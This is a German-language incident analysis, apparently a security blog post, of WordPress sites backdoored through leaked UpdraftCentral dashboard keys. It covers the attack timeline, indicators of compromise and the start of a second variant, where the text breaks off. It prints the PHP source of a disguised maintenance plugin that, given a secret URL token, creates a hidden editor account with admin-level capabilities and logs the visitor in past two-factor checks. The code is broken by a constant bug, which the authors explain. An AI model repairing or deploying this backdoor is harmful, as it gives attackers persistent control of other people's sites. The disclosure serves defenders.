!important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>Der Angreifer schickte <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schl\u00fcssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie au\u00dferhalb davon verwendet.<\/p>\n<p>TeamUpdraft best\u00e4tigte am 19. Oktober, dass ein Angreifer am Wochenende des 17. und 18. Oktober Zugriff auf teamupdraft.com und wahrscheinlich auch auf die Kundendatenbank einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel hatte. Die Schl\u00fcssel sind also aus der Infrastruktur des Herstellers abgeflossen. Das passt zum Zeitablauf: Die Schl\u00fcssel f\u00fcr die Websites B und C existierten seit November 2025, und der Angreifer verwendete sie erst in der Nacht vom 18. auf den 19. Oktober, also direkt nach dem Einbruch. Wie der Angreifer in teamupdraft.com eingedrungen ist, hat der Hersteller nicht mitgeteilt.<\/p>\n<p>Auf Website C scheiterte der Angriff durch Zufall. Den Schl\u00fcssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation pr\u00fcft UpdraftCentral, ob der Eigent\u00fcmer des Schl\u00fcssels die Rechte <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code> hat. Er hatte keines davon.<\/p>\n<h2 id=\"warum-das-ein-kritisches-updraftcentral-problem-ist\">Warum das ein kritisches UpdraftCentral-Problem ist<\/h2>\n<p>Der UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann f\u00fchrt die Website jeden mit dem Dashboard-Schl\u00fcssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschlie\u00dflich Upload und Aktivierung beliebiger Plugins. Der Betreiber best\u00e4tigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schl\u00fcssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026.<\/p>\n<p>Die Sicherheit aller verbundenen Websites h\u00e4ngt damit an einer einzigen Annahme: dass die privaten Dashboard-Schl\u00fcssel nicht abflie\u00dfen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites \u00fcbernommen und es bei einer dritten versucht. UpdraftPlus hat \u00fcber 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.<\/p>\n<p>Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), \u00fcber die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle f\u00e4lschen und ein sch\u00e4dliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.<\/p>\n<h2 id=\"was-die-hintert\u00fcr-genau-tut\">Was die Hintert\u00fcr genau tut<\/h2>\n<p>Das Plugin hat f\u00fcnf Dateien, Logik enth\u00e4lt aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gek\u00fcrzt:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 Zeichen\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 Zeichen\n\nfinal class LoadStack35c {\n    private function __construct() {\n        add_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n    }\n\n    public function handle_sync() {\n        if ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n            $user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n            if ( ! $user ) {\n                $uid = wp_insert_user( array(\n                    &#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n                    &#39;user_pass&#39;    =&gt; self::SVC_PASS,\n                    &#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n                    &#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n                    &#39;role&#39;         =&gt; &#39;editor&#39;,\n                ) );\n                if ( is_wp_error( $uid ) ) return;\n                $u = new WP_User( $uid );\n                $u-&gt;add_cap( &#39;manage_options&#39; );\n                $u-&gt;add_cap( &#39;install_plugins&#39; );\n                $user = get_user_by( &#39;id&#39;, $uid );\n            }\n            wp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n            wp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n            wp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n            exit;\n        }\n    }\n}\n\nregister_activation_hook( __FILE__, function () {\n    if ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n        update_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n    }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>So w\u00fcrde es funktionieren, wenn es keinen Fehler enthielte:<\/p>\n<ol type=\"1\">\n<li>Bei jeder Anfrage an die Website h\u00e4ngt es sich mit Priorit\u00e4t 1 an die Aktion <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, also fr\u00fcher als die meisten anderen Plugins.<\/li>\n<li>Es pr\u00fcft, ob die URL den Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code> enth\u00e4lt, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, das unabh\u00e4ngig von einer \u00dcbereinstimmung gleich lange dauert, sodass sich das Token nicht \u00fcber Antwortzeiten erraten l\u00e4sst. Ohne das richtige Token passiert nichts, und die Website verh\u00e4lt sich normal.<\/li>\n<li>Mit dem richtigen Token legt es den Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> an, mit einem im Plugin hinterlegten Passwort, der E-Mail <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> und dem Anzeigenamen \u201eSite Tools\u201c.<\/li>\n<li>Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>Es meldet den Besucher als diesen Benutzer \u00fcber <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> mit \u201eAngemeldet bleiben\u201c an, also mit einem 14 Tage g\u00fcltigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence.<\/li>\n<li>Es leitet ihn in den Admin weiter.<\/li>\n<\/ol>\n<p>Die Rolle Editor mit zwei zus\u00e4tzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und f\u00e4llt bei einer \u00fcblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle \u00fcber die Website:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> erlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> \u00f6ffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen gen\u00fcgt, und der Angreifer legt sich einen vollwertigen Admin an.<\/li>\n<li>Ein Editor hat bei einer normalen WordPress-Installation auch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code> und kann damit JavaScript in Beitr\u00e4ge einf\u00fcgen, das im Browser jedes Administrators l\u00e4uft.<\/li>\n<\/ul>\n<p>Die Hintert\u00fcr hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit \u00fcber das normale Anmeldeformular einloggen, sofern f\u00fcr dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.<\/p>\n<h3 id=\"der-fehler-der-uns-gerettet-hat\">Der Fehler, der uns gerettet hat<\/h3>\n<p>Die Konstanten sind mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> als globale Konstanten definiert (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), der Code liest sie aber als Klassenkonstanten (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code> den Fehler <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code>. Das passiert noch vor der Token-Pr\u00fcfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website f\u00e4llt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.<\/p>\n<p>Die Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, die nach <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbest\u00e4tigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen st\u00fcrzten ab.<\/p>\n<p>Der Angreifer muss nur ein paar Zeichen korrigieren, und die n\u00e4chste Welle kann funktionieren. <strong>Wenn Sie ein \u00e4hnliches \u201ekaputtes\u201c Plugin finden, reparieren Sie es nicht.<\/strong> Eine Reparatur w\u00fcrde die Hintert\u00fcr einschalten. Entfernen Sie es.<\/p>\n<h3 id=\"weitere-details\">Weitere Details<\/h3>\n<ul>\n<li>Das Plugin gibt sich als gew\u00f6hnliche Erweiterung: vollst\u00e4ndiger Header, GPL-Lizenz, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, die Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und ein erfundener Herausgeber (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n<li>Die Dateien <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> enthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> l\u00f6scht beim Deinstallieren \u00fcber den Admin die Optionen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code> und damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein \u00dcberbleibsel der Vorlage.<\/li>\n<li>Bei der Aktivierung speichert es das Token in der Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> ohne Autoload. Der Code liest sie nirgends.<\/li>\n<li>Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte f\u00fcr Byte identisch. Der Name folgt dem Muster <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wort-wort-3 Hex-Zeichen<\/code>, der Parameter ist <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> plus 6 Hex-Zeichen, der Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wort-wort<\/code> plus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).<\/li>\n<\/ul>\n<h2 id=\"indikatoren-einer-kompromittierung\">Indikatoren einer Kompromittierung<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Website A<\/th>\n<th>Website B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Plugin-Verzeichnis<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Name \/ Autor \/ Version<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>URL-Parameter<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Benutzer<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Datenbankoption<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 der Hauptdatei<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Weitere Proben der ersten Variante haben uns andere Betroffene geschickt, weitere Namen nennt Patchstack:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, Autor \u201eCopperForge WP\u201c, Benutzer mit E-Mail <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 der Hauptdatei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, Version 2.6.7, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li>laut Patchstack zum Beispiel \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c und \u201eWp Forge\u201c, insgesamt 99 Namen<\/li>\n<\/ul>\n<p>Gemeinsame Merkmale:<\/p>\n<ul>\n<li>IP-Adressen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent genau <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, Anfrage <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>im UpdraftCentral-Log die Sondierung <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> und einige Stunden sp\u00e4ter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>die Plugin-Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n<li>ein Benutzer mit E-Mail bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> und Anzeigename \u201eSite Tools\u201c, mit der Rolle Editor und den Berechtigungen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>der fatale Fehler <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;Klasse&gt;::FIELD<\/code> und eine WordPress-E-Mail \u00fcber einen Fehler in einem Plugin, das Sie nicht kennen<\/li>\n<\/ul>\n<h2 id=\"die-zweite-variante-ein-versteckter-administrator\">Die zweite Variante: ein versteckter Administrator<\/h2>\n<p>Diese Variante haben wir nicht selbst analysiert. Beschreibung und Indikatoren stammen von einem Administrator von rund 145 Websites, von denen drei getroffen wurden. Eine erhielt die oben beschriebene Variante, die beiden anderen ein anderes Plugin. Patchstacks Analyse f\u00fchrt diese Variante bisher nicht.<\/p>\n<ul>\n<li>Namen: \u201eSrc Lab\u201c (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, Autor \u201eWPBridge\u201c, Version 3.0.0) und \u201eRender Helper 232b\u201c (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, Version 3.7.9).<\/li>\n<li>Beschreibung: \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c Zur Tarnung f\u00fcgt das Plugin tats\u00e4chlich einen t\u00e4glichen Cron hinzu, der abgelaufene Transients l\u00f6scht, sowie einen jQuery-Filter f\u00fcr AMP-Seiten.<\/li>\n<li>Ausl\u00f6ser: ein Parameter, dessen Name aus 12 Hex-Zeichen besteht, und ein 32-stelliges Token, zum Beispiel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em 